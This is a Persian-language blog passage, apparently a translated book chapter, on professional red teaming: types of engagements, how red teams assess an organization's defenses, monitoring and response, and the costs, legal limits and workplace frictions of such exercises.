شبیه‌سازی دشمن توسط تیم‌های قرمز به اشکال مختلف انجام می‌شود و می‌توان آنها را در قالب تلاش برای نفوذ کلی، تلاش برای یک نفوذ خاص یا فرض نفوذ دسته بندی کرد. در نفوذ کلی، تیم قرمز تمام سطح حمله سازمان هدف را ارزیابی می‌کند با این هدف که تا حداکثر میزان ممکن به آن نفوذ کند (شکل 1-1). تلاش برای نفوذ خاص، شامل اقداماتی است که در آنها ارزیابی یک زیرمجموعه خاص از سطح حمله اولویت دارد و سایر بخش‌های سازمان خارج از محدوده تلقی می‌شوند. فرض نفوذ یکی از تعاملات تیم قرمز است که در آن ارزیابی با فراهم کردن امکان دسترسی برای اجرا کننده تست شروع می‌شود با این فرض که مهاجم موفق به نفوذ شده است. هر یک از این انواع تعاملات تیم قرمز چالش‌ها، پیچیدگی‌ها و زیرمجموعه‌های خاص خودشان را دارند و برای سناریوهای خاصی مناسب هستند.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1298 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2024/01/professional-red-teaming-fig-1-1.jpg" alt="" width="600" height="452" srcset="https://blog.peneter.com/wp-content/uploads/2024/01/professional-red-teaming-fig-1-1.jpg 600w, https://blog.peneter.com/wp-content/uploads/2024/01/professional-red-teaming-fig-1-1-300x226.jpg 300w, https://blog.peneter.com/wp-content/uploads/2024/01/professional-red-teaming-fig-1-1-100x75.jpg 100w, https://blog.peneter.com/wp-content/uploads/2024/01/professional-red-teaming-fig-1-1-597x450.jpg 597w" sizes="auto, (max-width: 600px) 100vw, 600px" /></p>
<p style="text-align: center;">شکل 1-1 نفوذ جامع</p>
<p>می‌توان گفت که نفوذ جامع، دقیق‌ترین شکل از شبیه‌سازی طرف متخاصم است چون در این روش هدف نفوذ کامل است و احتمالاً نقطه شروع برای ارزیابان، اینترنت خواهد بود. در این شرایط سازمان واقع گرایانه‌ترین شبیه‌سازی را برای ارزیابی سازوکارهای دفاعی خودش خواهد داشت یعنی ارزیابی تشخیص و واکنش. اما از طرفی این نوع ارزیابی کمترین کارایی دارد و ممکن است منجر به ایجاد نتایجی ناقص شود. اگر در ارزیابی امکان نفوذ به یک بخش خاص از سازمان به دلیل محدودیت‌های زمانی یا کمبود مهارت وجود نداشته باشد، ممکن است نتایج این تعامل منجر به ایجاد حس امنیت کاذب شود.<br />
تلاش برای نفوذ جامع را می‌توان به چند زیرمجموعه تقسیم کرد. گرچه در این روش کلیت هدف خود سازمان است، اما معمولاً می‌توان روش‌های انجام حمله را تعیین کرد. مثلاً یک حمله کاملاً جامع حمله‌ای است که در آن هر نوع مسیر حمله‌ای مناسب تلقی می‌شود. ممکن است این مسیرها شامل اتصالات اینترنت، تلاش‌های فیزیکی برای ورود به تشکیلات سازمانی با هدف اجرای حملات سایبری، ایجاد اختلال در زنجیره تأمین و یا بهره برداری از مسیرهای ارتباطی مثل کابل‌های فیزیکی یا شبکه‌های بی‌سیم مورد استفاده سازمان باشند. در بیشتر مواقع، حمله جامع تیم قرمز از طریق یک زیرمجموعه یا یکی از این مسیرها انجام می‌شود. رایج‌ترین روش انجام نفوذ جامع توسط تیم قرمز، هدف گرفتن سازمان فقط با استفاده از مسیرهای متصل به اینترنت است.<br />
تعاملاتی که با هدف ایجاد نفوذ به صورت خاص انجام می‌شوند، روشی کارآمدتر و اختصاصی‌تر برای ارزیابی یک سازمان هستند (شکل 1-2). این تعاملات بر خلاف نفوذ جامع، تصویر کلی بالقوه وضعیت امنیتی سازمان را مشخص نمی‌کنند اما می‌توانند منجر به ایجاد اکتشافاتی موفق و &#8211; مقابله با &#8211; آسیب‌پذیری‌های موجود در زیرمجموعه‌ای از سازمان شوند. مادامی که این زیرمجموعه شامل اولویت بندی مناسب دارایی‌ها<a href="#_ftn2" name="_ftnref2">[2]</a> باشد، می‌توان آن را روشی بسیار کارآمد و مؤثر برای اجرای مانورهای تیم قرمز دانست.<br />
برای ارزیابی اهداف مختلف، از زیرمجموعه‌های متفاوتی از نفوذ اختصاصی استفاده می‌شود. می‌توان نفوذ به روش اختصاصی را محدود به یک اپلیکیشن خاص کرد که روی یک دستگاه خاص با سطح دسترسی تعیین شده اجرا می‌شود. اجرای چنین تست‌هایی هنگام انتشار نرم‌افزارهای جدید و مهم در یک سازمان امری رایج است. گرچه این سطح حمله کوچک است اما می‌تواند شامل برخی از بزرگترین ریسک‌هایی باشد که یک سازمان ممکن است با آنها روبرو شود. نفوذ خاص می‌تواند زیرمجموعه‌ای از کاربران، سیستم‌ها یا اپلیکیشن‌های درون سازمان را که اولویت بالایی دارند، شامل شود. انواع و اهداف امنیتی خاص (یا ترکیبی از آنها) که اقدامات تیم قرمز بر آنها تمرکز دارد، فرایند ارزیابی را هدایت می‌کنند.</p>
<p style="text-align: center;">
<img loading="lazy" decoding="async" class="size-full wp-image-1298 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2024/01/professional-red-teaming-fig-1-1.jpg" alt="" width="600" height="452" srcset="https://blog.peneter.com/wp-content/uploads/2024/01/professional-red-teaming-fig-1-1.jpg 600w, https://blog.peneter.com/wp-content/uploads/2024/01/professional-red-teaming-fig-1-1-300x226.jpg 300w, https://blog.peneter.com/wp-content/uploads/2024/01/professional-red-teaming-fig-1-1-100x75.jpg 100w, https://blog.peneter.com/wp-content/uploads/2024/01/professional-red-teaming-fig-1-1-597x450.jpg 597w" sizes="auto, (max-width: 600px) 100vw, 600px" /><br />
شکل 1-2. نفوذ به صورت خاص</p>
<p>تعاملاتی با فرض نفوذ، معمولاً کارایی بیشتری داشته و در عین حال ممکن است تصویری کمتر واقع گرایانه درباره طرف متخاصم ایجاد کنند. اما اگر اجرا و تعیین محدوده چنین تعاملاتی به خوبی انجام شود، می‌توانند مقرون به صرفه‌ترین روش (از نظر هزینه) برای تقویت وضعیت امنیتی باشند.<br />
می‌توان فرض نفوذ را بر اساس انواع دسترسی که ارزیابی از آنها شروع می‌شود و محل آنها درون سازمان دسته بندی کرد. در تلاش برای نفوذ به صورت جامع و یا خاص از روش انتشار بدافزار در سازمان از طریق ایمیل استفاده می‌شود، اما ارزیابی بر اساس فرض نفوذ، با بررسی نوع دسترسی‌های به دست آمده در چنین حمله‌ای، در صورت موفقیت آمیز بودن آن انجام می‌شود. در این حالت، ارزیابی‌های نفوذ می‌توانند نیاز به هفته‌ها انتظار برای باز شدن ایمیلی حاوی یک بدافزار توسط کاربر را از بین ببرند و ریسک‌های حقوقی و اخلاقی بالقوه چنین عملیاتی را دور بزنند. چه در این روش دسترسی برای یک کاربر خاص و چه یک ماشین جدید به سازمان اضافه شود، در هر صورت این روش برای افزایش بهره وری، سطح واقع گرایی را کاهش می‌دهد.<br />
ممکن است در روش فرض نفوذ، آموزش‌های امنیتی کارمندان درباره ایمیل‌های مخرب مورد ارزیابی قرار نگیرند اما عمل کردن با این فرض که بالاخره یک کاربر فریب مهاجمان را خواهد خورد، این امکان را فراهم می‌کند که بیشتر روی شناسایی آسیب‌پذیری‌های خطرناک و قابل بهره برداری وقت صرف شود تا خطاهای انسانی که جزء آسیب‌پذیری‌های همیشه حاضر است.</p>
<h2><a name="_Toc144125036"></a>مزایای تیم قرمز</h2>
<p>تعاملات تیم قرمز نسبت به سایر روش‌ها و فناوری‌های مورد استفاده برای بهبود وضعیت امنیتی یک سازمان مزایای خاصی دارند. روش تیم قرمز جزء قوی‌ترین ابزارهای امنیت اطلاعات است. نمی‌توان به راحتی گفت که این روش بهترین روش است یا برای یک شرایط خاص بهترین گزینه محسوب می‌شود اما می‌توان گفت که قوی‌ترین ابزار است. همانطور که قبلاً اشاره شد، مانور تیم قرمز قابلیت شناسایی توانمندی‌ها و کاستی‌های دارایی‌های امنیتی مختلف یک سازمان را دارد و یک ارزیابی منحصربفرد از سطح آمادگی سازمان برای مقابله با تلاش‌های عوامل مخرب فراهم می‌کند. باید توجه داشت که کیفیت این ارزیابی بستگی به عملکرد هکرهای اخلاقی دارد که آن را اجرا می‌کنند و محدودیت عملکرد یا توانمندی ارزیاب‌ها هم بستگی به محدوده و قوانین تعاملی دارد که بر اساس آنها کار می‌کنند. اگر همه چیز متناسب با شرایط باشد، مانور تیم قرمز در مقایسه با استفاده از رویکرد واکنشی برای رسیدگی به نگرانی‌های امنیتی &#8211; یعنی پس از اینکه هکرهای مخرب از آنها سوء استفاده کردند &#8211; بسیار مقرون به صرفه‌تر است.<br />
مانورهای تیم قرمز ابزاری قوی و تند و تیز محسوب می‌شوند چون حکم یک نوع [چاقوی] جراحی را دارند که اگر در اختیار افراد آموزش ندیده یا غیراخلاقی قرار بگیرند می‌توانند به شدت خطرناک باشند. اما اگر این مانورها توسط یک تیم توانمند اجرا شوند، تنها ابزار قابل استفاده در مرحله پیش از نفوذ و به صورت فعالانه هستند. فناوری‌های زیادی بر اساس مفهوم واکنش طراحی و ساخته شده‌اند اما با مانور تیم قرمز سازمان می‌تواند پیش از شروع اقدام برای نفوذ، وضعیت امنیتی خود را بهبود ببخشد نه پس از آن. شاید این استدلال مطرح شود که فعالیت‌هایی مثل اسکن آسیب‌پذیری و مدیریت درست وصله‌های امنیتی هم حالت واکنشی دارند. اما باید دقت داشت که هر چند این روش‌ها مبتنی بر واکنش به یک رویداد امنیتی در سازمان نیستند اما هر دو واکنش‌هایی به رویدادهای امنیتی در جایی دیگر هستند و اطلاعاتی در رابطه با آسیب‌پذیری‌های جدید فراهم می‌کنند که اسکن یا رفع (آسیب‌پذیری) برای آنها انجام می‌شود. یکی دیگر از ابزارهایی که از نظر عده‌ای ماهیت منفعل دارد &#8211; شکار تهدید &#8211; به دنبال شناسایی علائم نفوذ از سمت عاملانی است که در سازمان حضور دارند و ممکن است متجاوز محسوب شوند یا نشوند. اما شکار تهدید بر خلاف مانورهای تیم قرمز جزء فعالیت‌های پس از نفوذ محسوب می‌شود.</p>
<h3><a name="_Toc144125037"></a>ارزیابی آمادگی</h3>
<p>مزیت این ویژگی‌های تیم قرمز (یعنی فعال بودن و اجرای آن پیش از نفوذ) این است که میزان آمادگی را مشخص می‌کنند اما سایر ابزارهای امنیتی سعی دارند سازمان‌ها را آماده‌تر کنند. ممکن است این ابزارها سازوکارهای دفاعی سازمان‌ها را برای مقابله با افراد مخرب، نظارت برای شناسایی آنها، مقاومت یا واکنش به آنها آماده‌تر کنند. روش تیم قرمز مشخص می‌کند که آیا این فناوری‌ها برای افزایش سطح آمادگی یک سازمان کارایی دارند یا خیر. همچنین این روش با تشخیص مواردی که شناسایی نشده‌اند و تعیین تکرار غیرضروری تشخیص و ضبط رویدادهای امنیتی توسط فناوری‌های مختلف، به شناسایی منابع اضافه یا اتلاف شده در سازمان کمک می‌کند.</p>
<h3><a name="_Toc144125038"></a>ارزیابی سازوکارهای دفاعی</h3>
<p>در یک کارزار تیم قرمز موفق، بسیاری از جنبه‌های دفاعی یک سازمان از طریق تعامل با سیستم‌ها، کاربران و اپلیکیشن‌ها ارزیابی شده و قابلیت این موجودیت‌ها برای مقاومت در برابر اقدامات ارزیابان بررسی می‌شود. نمونه‌ای از یک سیستم دفاعی در یک سازمان، فایروال است. این سیستم برای پیشگیری از حرکت ترافیک ناخواسته یا مخرب از نقطه‌ای به نقطه دیگر در سازمان ساخته شده است. تیم قرمز، فایروال را به هر دو روش مستقیم و غیرمستقیم ارزیابی می‌کند. ارزیابی غیرمستقیم یک موجودیت دفاعی مثل فایروال، به‌واسطه اسکن و سایر فعالیت‌های اکتشافی در سیستم یا سرویس‌هایی انجام می‌شود که قرار بوده این فعالیت‌ها در آنها متوقف شوند اما فایروال به دلایلی مثل پیکربندی نادرست یا وجود نقص در خود سیستم، اجازه عبور آنها را داده است. در هر صورت، آمادگی دفاعی سیستم فایروال بدون اینکه ارزیاب مطلع باشد که قرار است جلوی اقداماتش گرفته شود، انجام می‌شود. ارزیابی مستقیم حالتی است که در آن فرد ارزیابی کننده، آگاهانه سعی می‌کند از یک سازوکار دفاعی عبور کند. این تلاش می‌تواند در گروه بهره برداری‌های خرابکارانه یا بهره برداری‌های مستقیم قرار بگیرد.<br />
بهره برداری خرابکارانه زمانی انجام می‌شود که ارزیاب با دستگاه آشنایی دارد و سعی دارد با استفاده از نقایص خاص آن یا پیدا کردن پیکربندی‌های اشتباهی که اجازه عبور را به او می‌دهد، قابلیت‌های دفاعی دستگاه را دور بزند. بهره برداری مستقیم وقتی انجام می‌شود که ارزیاب از یک نقص یا پیکربندی اشتباه در سیستم استفاده می‌کند تا امکان اجرای کد از راه دور را به دست آورد و با تغییر تنظیمات امنیتی دستگاه، به آن نفوذ کند.<br />
می‌توان سایر انواع اهداف امنیت دفاعی را به همین صورت ارزیابی کرد. ممکن است یک سیستم‌عامل تنظیمات دفاعی خاصی داشته باشد که از اجرای اسکریپت‌های زمان بندی شده با یک سطح دسترسی خاص جلوگیری می‌کند. وجود یک نقص در پیاده سازی این تنظیمات به تیم قرمز اجازه می‌دهد تا اسکریپت را با همان سطح دسترسی اجرا کند. یا ممکن است تیم قرمز با استفاده از یک روش اجرای کد که سیستم‌عامل توانایی رسیدگی به آن را ندارد یا با نفوذ به سیستم‌عامل و تغییر تنظیمات آن، فعالانه به دنبال دور زدن مکانیزم دفاعی باشد. این حالت در سطح اپلیکیشن هم وجود دارد. ممکن است یک ارزیاب خواسته یا ناخواسته باعث دور زدن اعتبارسنجی مقادیر ورودی برای یک فیلد در یک اپلیکیشن شود یا ممکن است دسترسی مدیریت اپلیکیشن را به روش‌های دیگر پیدا کرده و اعتبارسنجی ورودی را تغییر دهد تا بتواند یک کار خاص را انجام دهد. این اصول ارزیابی آمادگی سازوکارهای دفاعی در یک سازمان، محدود به اهداف امنیتی تکنولوژیکی نیستند. باید کارمندان سازمان را هم جزء اهداف امنیت دفاعی در نظر گرفت و هر زمان ممکن بود آنها را هم در ارزیابی‌های تیم قرمز پوشش داد. کارمندان در صورت در اختیار داشتن آموزش‌ها و روش‌های کارآمد می‌توانند با کارهایی مثل باز نکردن ایمیل‌های مخرب، پیشگیری از &#8220;دزدکی نگاه کردن&#8221; به اطلاعات مهم روی صفحه نمایش از پشت سرشان و یا عبور افراد غیرمجاز از درب‌های امنیتی پشت سر خودشان، قابلیت‌های دفاعی را تقویت کنند. تشخیص نقطه ضعف‌های موجود در امنیت دفاعی کارمند-محور می‌تواند یکی از ارزشمندترین یافته‌های یک ارزیابی باشد.</p>
<h3><a name="_Toc144125039"></a>ارزیابی سیستم‌های نظارتی</h3>
<p>ارزیابی شیوه نظارت یک سازمان بر فعالیت‌های مخرب هم در تعیین میزان آمادگی امنیتی سازمان نقش دارد. نظارت بر فعالیت‌های مخرب در یک سازمان، با یک فرایند دو مرحله‌ای شامل تشخیص و ایجاد هشدار انجام می‌شود. مانورهای تیم قرمز امکان تشخیص محل تخلف در دستگاه‌های نظارتی را فراهم می‌کند. این تخلف می‌تواند تکنولوژیکی و/یا رویه‌ای باشد و هر دو می‌توانند شامل فعالیت‌های دستگاه‌ها و کارمندان باشند. تعیین اینکه سیستم نظارتی در تشخیص تخلف یا صدور هشدار شکست خورده و اینکه تخلف بر اساس خلأهای امنیتی بوده یا رویه‌ای، برای رسیدگی به مشکلات نظارتی و رفع آنها ضروری است.<br />
تشخیص به شناسایی یک رویداد امنیتی درون یک سازمان گفته می‌شود. رویدادهای امنیتی می‌توانند بسیار متفاوت باشند مثل ثبت تصویر ورود شخصی به یک ساختمان توسط یک دوربین امنیتی یا ارسال یک ایمیل از شبکه به یک آدرس خاص. تعاملات متفاوت تیم قرمز منجر به ایجاد رویدادهای امنیتی متفاوتی می‌شوند و بنابراین مکانیزم‌های تشخیص متفاوتی را درون سازمان ارزیابی می‌کنند. تشخیص رویدادهای امنیتی هم مثل اهداف امنیتی دفاعی به روش خرابکارانه یا مستقیم قابل انجام هستند.<br />
ایجاد هشدار بخش بعدی کار دستگاه نظارتی است و تمرکز آن اتفاقات پس از تشخیص یک رویداد امنیتی است. ممکن است این مرحله هشداردهی قابل چشم پوشی باشد مثل نادیده گرفتن رویداد امنیتی و عدم ثبت گزارش یا بغرنج باشد مثل ارتقای سطح فعالیت قابلیت‌های دفاعی بر اساس هشداری که منجر به شروع یک فعالیت پیگیری می‌شود. علاوه بر همان اصولی که پیش از این برای قابلیت‌های تشخیص و دفاعی گفته شد، ارسال هشدار یک روش جدید به فرایند ارزیابی اضافه می‌کند. می‌توان هشداردهی را با استفاده از تست مستقیم و غیرمستقیم ارزیابی کرد اما می‌تواند شامل یک نوع سوم از تست هدفمند هم باشد. بهره برداری خرابکارانه به ارزیاب امکان می‌دهد که از ایجاد هشداری مناسب برای رویداد شناسایی شده، جلوگیری کند. در بهره برداری مستقیم، ارزیاب هشداردهی مناسب را غیرفعال می‌کند.<br />
سومین نوع از تست هدفمند، بهره برداری از شواهد است. این حالت وقتی صورت می‌گیرد که یک رویداد با موفقیت شناسایی شده و یک هشدار مناسب برای آن ایجاد شده اما صحت هشدار یا شواهد هشدار تغییر کرده باشد. گاهی اوقات این کار شامل بهره برداری مستقیم از سیستم برای حذف هشدارها است که می‌تواند شامل گزارش رویدادهای سیستم، پنجره‌های پاپ-آپ یا کل فایل‌ها باشد. دلیل اینکه چنین فعالیتی به طور کامل در محدوده بهره برداری مستقیم یا غیرمستقیم قرار نمی‌گیرد این است که در بسیاری از موارد، هشدارها بخشی از یک دستگاه نظارتی به شدت توزیع شده هستند و ممکن است سوء استفاده مستقیم از یک سیستم خاص منجر به حذف همه نسخه‌های شواهد هشدار نشود.<br />
سیستمی را در نظر بگیرید که حاوی تعداد مشخصی گزارش رویداد است تا وقتی که شروع به نوشتن رویدادهای جدید بر روی قدیمی‌ترین رکوردها می‌کند یا سیستمی که هر زمان فقط قادر به ثبت تعداد خاصی از رویدادها است. امکان سوء استفاده از روش ضبط شواهد هر دو سیستم وجود دارد. ارزیاب می‌تواند تعداد زیادی نویز ایجاد کند تا از ایجاد یک هشدار خاص جلوگیری کند یا به دلیل حجم بالای رکوردهای تولید شده، باعث نوشته شدن گزارش‌های جدید روی قدیمی‌ترین گزارش‌ها شود. این بهره برداری از سیستم ثبت شواهد می‌تواند باعث ثبت اطلاعات غلط برای یک هشدار شود مثل جعل آدرس منبع ترافیک مخرب. بهره برداری از شواهد می‌تواند شامل ایجاد یک هشدار مثبت کاذب بسیار جدی‌تر هم شود تا از توجه سیستم نظارتی به هشدارهایی که مربوط به فعالیت‌ها و اهداف واقعی ارزیاب هستند، جلوگیری کند.</p>
<h3><a name="_Toc144125040"></a>ارزیابی واکنش‌ها</h3>
<p>آخرین بخش از ارزیابی آمادگی توسط تیم‌های قرمز، مربوط به واکنش سازمان به فعالیت‌های ارزیابی است. واکنش بر اساس هدف و محدوده تست در سطوح مختلفی انجام می‌شود. در برخی از سناریوهای تیم قرمز اگر فعالیت ارزیان شناسایی شود، اولین گام کارمندان امنیتی هماهنگی با مدیر عملیات تیم قرمز است تا مشخص شود که فعالیت موردنظر مربوط به یک عامل تهدید مخرب واقعی بوده یا خود تیم قرمز. پس از مشخص شدن اینکه این کار توسط تیم قرمز انجام شده، ممکن است کارمندان بخش امنیت واکنش را متوقف کرده و اجازه دهند که تیم قرمز بدون مانع کار خود را ادامه دهد. این راحت‌ترین پیاده سازی از تحلیل واکنشی در تعاملات تیم قرمز است اما از نظر تهاجمی بودن هم در پایین‌ترین سطح قرار دارد. تشخیص تهدید توسط کارمندان امنیتی و اطلاع از اینکه تیم قرمز مسئول آن نبوده، منجر به رسیدن به درکی سرتاسری از میزان آمادگی سازمان برای واکنش به آن نوع تهدید مخرب خاص نمی‌شود.<br />
کامل‌ترین سناریو حالتی است که کارمندان امنیت به محض اطلاع از فعالیتی بالقوه مخرب، مثل یک تهدید واقعی نسبت به آن واکنش نشان می‌دهد. در این حالت، تیم قرمز سعی می‌کند از کارمندان امنیتی پیشی گرفته و فعالیت‌های آنها را بی‌اثر کند. این روش شامل تلاش‌های دفاعی برای پاکسازی ماشین‌های آلوده و همچنین تلاش‌هایی برای خنثی کردن مکانیزم‌های شکار تهدید است. ریسک این روش این است که ممکن است حضور تیم قرمز با دور کردن تمرکز تیم امنیت سایبری از فعالیت‌های مخرب واقعی در شبکه، باعث ایجاد نگرانی‌های امنیتی شود. حد واسط بین توقف فوری واکنش و واکنش کاملاً ناآگاهانه به فعالیت‌های تیم قرمز، ارزیابی بهینه سازمان است و باید متناسب با نیازهای خاص ارزیابی انجام شود.<br />
به غیر از ارزیابی آمادگی سازمان برای واکنش به تهدیدات مخرب، تیم قرمز این مزیت را دارد که به تقویت دفاعی سازمان کمک می‌کند. نه تنها تیم قرمز مشکلات موجود در دفاع، نظارت و واکنش را شناسایی می‌کند بلکه به اصلاح و رفع آنها و شکار تهدید هم کمک می‌کند. اجرای درست ارزیابی توسط تیم قرمز، پس از شناسایی مشکلات سازمان مورد نظر، راهکارهای لازم را برای رفع آسیب‌پذیری‌ها، اصلاح پیکربندی‌ها یا مشکلات رویه‌ای ارایه می‌دهد.<br />
بسیاری از کارشناسان امنیت تهاجمی مسیر حرفه‌ای خودشان را به عنوان مهندس سیستم‌ها، مدیر یا توسعه دهنده شروع کرده و سپس از تجربه و تفکر هکری برای کمک به اصلاح نقطه ضعف‌های امنیتی سازمان استفاده می‌کنند. بسیار بهتر است که این کارشناسان درباره روش اصلاح و رفع آسیب‌پذیری‌ها با مسئولان پیاده سازی آنها در سازمان مثل مدیران یا پرسنل امنیتی گفتگو کنند. اغلب مواقع طرز فکر یا عملکرد یک مهاجم در ایده‌های این افراد برای حل یک مسئله، در نظر گرفته نمی‌شود. مشارکت دادن تیم قرمز در تعیین اقدامات اصلاحی به صرفه جویی در زمان و رسیدگی کارآمدتر به یافته‌های امنیتی کمک می‌کند. بعلاوه، بهتر است که پس از انجام اصلاحات، از تیم قرمز برای یک ارزیابی مختصر دعوت کرد تا مشخص شود که در این اصلاحات به خوبی به یافته‌های ارزیابی اولیه رسیدگی شده است یا خیر.<br />
می‌توان برای مقابله با تهدیدات هم از نظرات تیم قرمز استفاده کرد &#8211; چه از گزارش‌های این تیم و چه از گفتگوهایی که با کارمندان بخش امنیت دارند. ممکن است با وجود راهکارهایی برای یکی از یافته‌های خاص تیم قرمز، امکان رسیدگی کارآمدتر یا ارزان‌تر به آن با روش‌های دیگر وجود داشته باشد مثل تغییر در تنظیمات یا پیکربندی‌هایی که تأثیر آسیب‌پذیری را خنثی می‌کنند. یافته‌های تیم قرمز به روش‌های دیگر هم برای کارمندان امنیتی مفید هستند. مثلاً ممکن است یک اسکن آسیب‌پذیری منجر به پیدا کردن یافته‌هایی در برخی از ماشین‌های کم هزینه مورد استفاده یک سازمان شود اما مدیر سازمان اجازه رسیدگی به این یافته‌ها را به کارمندان امنیت ندهد. با توجه به کم هزینه بودن ماشین‌های آسیب‌پذیر، ممکن است سازمان تصمیم بگیرد در صورت تشخیص نفوذ آنها را جایگزین کرده یا تغییر قالب دهد. تعاملات تیم قرمز می‌تواند به کارمندان امنیت نشان دهد که چطور ممکن است یک مهاجم با استفاده از همین دستگاه‌های کم هزینه کل شبکه سازمان را دچار مخاطره کند. به این ترتیب ممکن است مدیریت سطح بالاتر سازمان درباره ادامه استفاده از این سیستم‌ها تجدیدنظر کند.</p>
<h2><a name="_Toc144125041"></a>معایب تیم قرمز</h2>
<p>بحث و گفتگو درباره استفاده از تیم‌های قرمز بدون بررسی چالش‌ها و معایب این روش بحثی ناقص است. همانطور که پیش از این اشاره شد، تیم قرمز قوی‌ترین ابزار موجود در زمینه امنیت اطلاعات است اما ممکن است برای برخی شرایط بهترین روش نباشد. پیاده سازی مانورهای تیم قرمز با پیچیدگی‌های خاصی همراه است حتی اگر به صورت اصیل انجام شوند. مانور غیراصیل (غیر ارگانیک) تیم قرمز، مانوری است که توسط افرادی خارج از سازمان اجرا می‌شود که ممکن است به دلیل فقدان استانداردها و شفافیت، قابل اعتماد یا قابل دفاع نباشد. بعلاوه، ممکن است مانورهای تیم قرمز منجر به ایجاد روابطی پایدار یا خصمانه در محیط کار شود و گزارش حاصل از آن هم مسئولیت‌های بزرگی به همراه داشته باشد.<br />
مسائل زیادی باعث سخت‌تر شدن انجام موفقیت آمیز تعاملات تیم قرمز می‌شوند. برخی از این مسائل قابل اجتناب هستند و برخی دیگر را باید به عنوان هزینه انجام این کار قبول کرد. اجرای مانور تیم قرمز درون سازمان یا استفاده از خدمات بیرونی برای انجام این کار هزینه زیادی دارد. یکی از دلایل مهم هزینه‌های بالای این روش این است که در حال حاضر نیروی متخصص کمی در این حوزه وجود دارد. بعلاوه پیدا کردن هکرهای قابل اعتمادی که قدرت قضاوت خوبی داشته باشند هم سخت است. از آن سخت‌تر پیدا کردن هکرهای با استعداد و قابل اعتمادی است که توانایی برقراری رابطه با دیگران (مثل کارمندان بخش امنیت) را داشته باشند و با مدیران شرکت که قرار است به یافته‌های این هکرها رسیدگی کنند، به خوبی ارتباط برقرار کنند. بنابراین، همانطور که اشاره شد، اجرای عملیات تیم قرمز به صورت حرفه‌ای هزینه‌بر است و بسیاری از سازمان‌ها قادر به حفظ این نیروها نیستند در نتیجه از خدمات برون سازمانی استفاده می‌کنند.<br />
استفاده از خدمات شرکت‌های بیرونی هم برای اجرای مانورهای تیم قرمز بدون مشکل نیست. باز هم این کار برای سازمان میزبان هزینه‌بر است. در چنین شرایطی احتمال قطع چرخه حیات تیم قرمز وجود دارد و تعاملات در حد 2 تا 4 هفته حفظ می‌شوند. به خصوص در مواقعی که سازمانی نیاز به برآورده ساختن الزامات امنیتی یا حسابرسی دارد، اما بودجه کافی برای انجام این کار را ندارد، این مشکل ایجاد می‌شود. استفاده از کوتاه‌ترین تعاملات ممکن با یک تیم قرمز برون سازمانی برای صرفه جویی در هزینه‌ها منجر به ایجاد یافته‌هایی غیرقابل اعتماد می‌شود. هر چقدر که ارزیاب‌ها با استعداد باشند باز هم احتمالاً یک تعامل یک هفته‌ای با تیم قرمز برای بررسی همه مسائل کافی نیست و ممکن است در سازمان مشتری حس امنیت کاذب ایجاد کند. بعلاوه، معمولاً به دلیل مسائل رقابتی و برای حفظ اسرار تجاری، اطلاعات مربوط به ابزارها و روش‌های مورد استفاده تیم قرمز فاش نمی‌شوند و این مسئله مانع از حفظ خدماتی قابل دفاع و استاندارد می‌شود.<br />
با این فرض که بودجه لازم برای تشکیل یک تیم قرمز با استعداد درون خود سازمان یا استفاده از خدمات حرفه‌ای تیم قرمز برون سازمانی وجود داشته باشد، باز هم محدودیت‌هایی برای موفقیت چنین تعاملاتی وجود دارد که ناشی از مسائل حقوقی و قراردادی هستند. ممکن است تعاملات تیم قرمز شامل دستگاه‌هایی باشند که اطلاعات درون آنها بر اساس قوانین و مقررات حفاظت شده‌اند [مثل قانون قابلیت انتقال و مسئولیت بیمه سلامت (HIPAA<a href="#_ftn3" name="_ftnref3"><sup>[3]</sup></a>)] یا حاوی اطلاعات اقتصادی و هویتی باشند. افرادی که این تعاملات را اجرا می‌کنند باید از قوانین مربوط به چنین داده‌هایی آگاه باشند و در برخی موارد لازم است گواهینامه‌های خاصی برای کار با این داده‌ها داشته باشند.<br />
به غیر از مسائل حقوقی، الزامات قراردادی هم می‌توانند باعث پیچیدگی هر چه بیشتر فرایندهای تیم قرمز شوند. خیلی از سازمان‌ها سعی دارند به طور جزئی یا کامل از خدمات زیرساخت ابر استفاده کنند. تقریباً در همه موارد، ارایه دهندگان چنین خدماتی توافقنامه‌های کاربری خاصی دارند که مانع از اجرای فعالیت‌هایی مثل مانورهای تیم قرمز در سیستم‌های محیط ابر آنها می‌شود. در برخی موارد، می‌توان مجوزهای خاصی کسب کرد که امکان اجرای تست را در این محیط‌ها فراهم می‌کنند اما خیلی از سازمان‌های مشتری از وجود چنین مجوزهایی آگاه نیستند. اگر از همان ابتدا راجع به این مسئله با مشتری صحبت نشود، ممکن است بعداً فعالیت‌های تیم باعث غیرفعال شدن برخی از سرورهای مشتری در محیط ابر یا قرار گرفتن آنها در لیست سیاه شده و منجر به از دست رفتن داده‌ها یا سود مشتری شود. بدتر اینکه ممکن است چنین فعالیتی تعهدات قراردادی بین مشتری تیم قرمز و خدمات میزبانی ابر را نقض کرده و باعث شوند که ارایه دهنده این خدمات با مشتری تیم قرمز قطع همکاری کند. حتی اگر اجازه تست و ارزیابی سیستم‌های میزبانی شده در محیط ابر وجود داشته باشد، باز هم خیلی از خدمات زیرساخت ابر به طور مرتب آدرس سیستم‌های خودشان را تغییر می‌دهند. ممکن است یک روز یک آدرس مربوط به مشتری تیم قرمز باشد اما روز بعد متعلق به یک شرکت دیگر باشد. در چنین شرایطی تیم قرمز ناخواسته در حال تلاش برای هک غیرقانونی یک سازمان ناشناس خواهد بود. موارد ذکر شده از جمله مثال‌هایی بودند که نشان می‌دهند چرا باید هنگام اجرای فعالیت‌های تیم قرمز دقت و مراقبت بسیار زیادی داشت.<br />
اگر مانورهای تیم قرمز به درستی انجام شوند، در مرحله‌های پس از ارزیابی یعنی زمانی که گزارش یافته‌ها تهیه می‌شود هم مراقبت و حرفه‌ای گری زیادی وجود خواهد داشت. یکی از دشوارترین مسائلی که باید در تعاملات تیم قرمز به آن پرداخت، وجود پرسنل متخاصم بین نیروهای امنیتی است. ترس از خجالت زده شدن یا حتی از دست دادن شغل در اثر یافته‌های تیم قرمز می‌تواند باعث شود که برخی از کارمندان در هر مرحله برای تیم قرمز مانع ایجاد کنند. ممکن است در مرحله تعیین محدوده و قوانین تعامل، این افراد فعالیت یک تست را طوری محدود کنند که مانع از ارزیابی سیستم‌های حیاتی شود. در مرحله اجرای تست ممکن است این افراد سعی کنند از فناوری‌های دفاعی و نظارتی خاصی استفاده کنند که فقط مانع از موفقیت تیم قرمز می‌شوند اما تأثیری در وضعیت امنیتی سازمان ندارند. نمونه‌ای از این مسئله 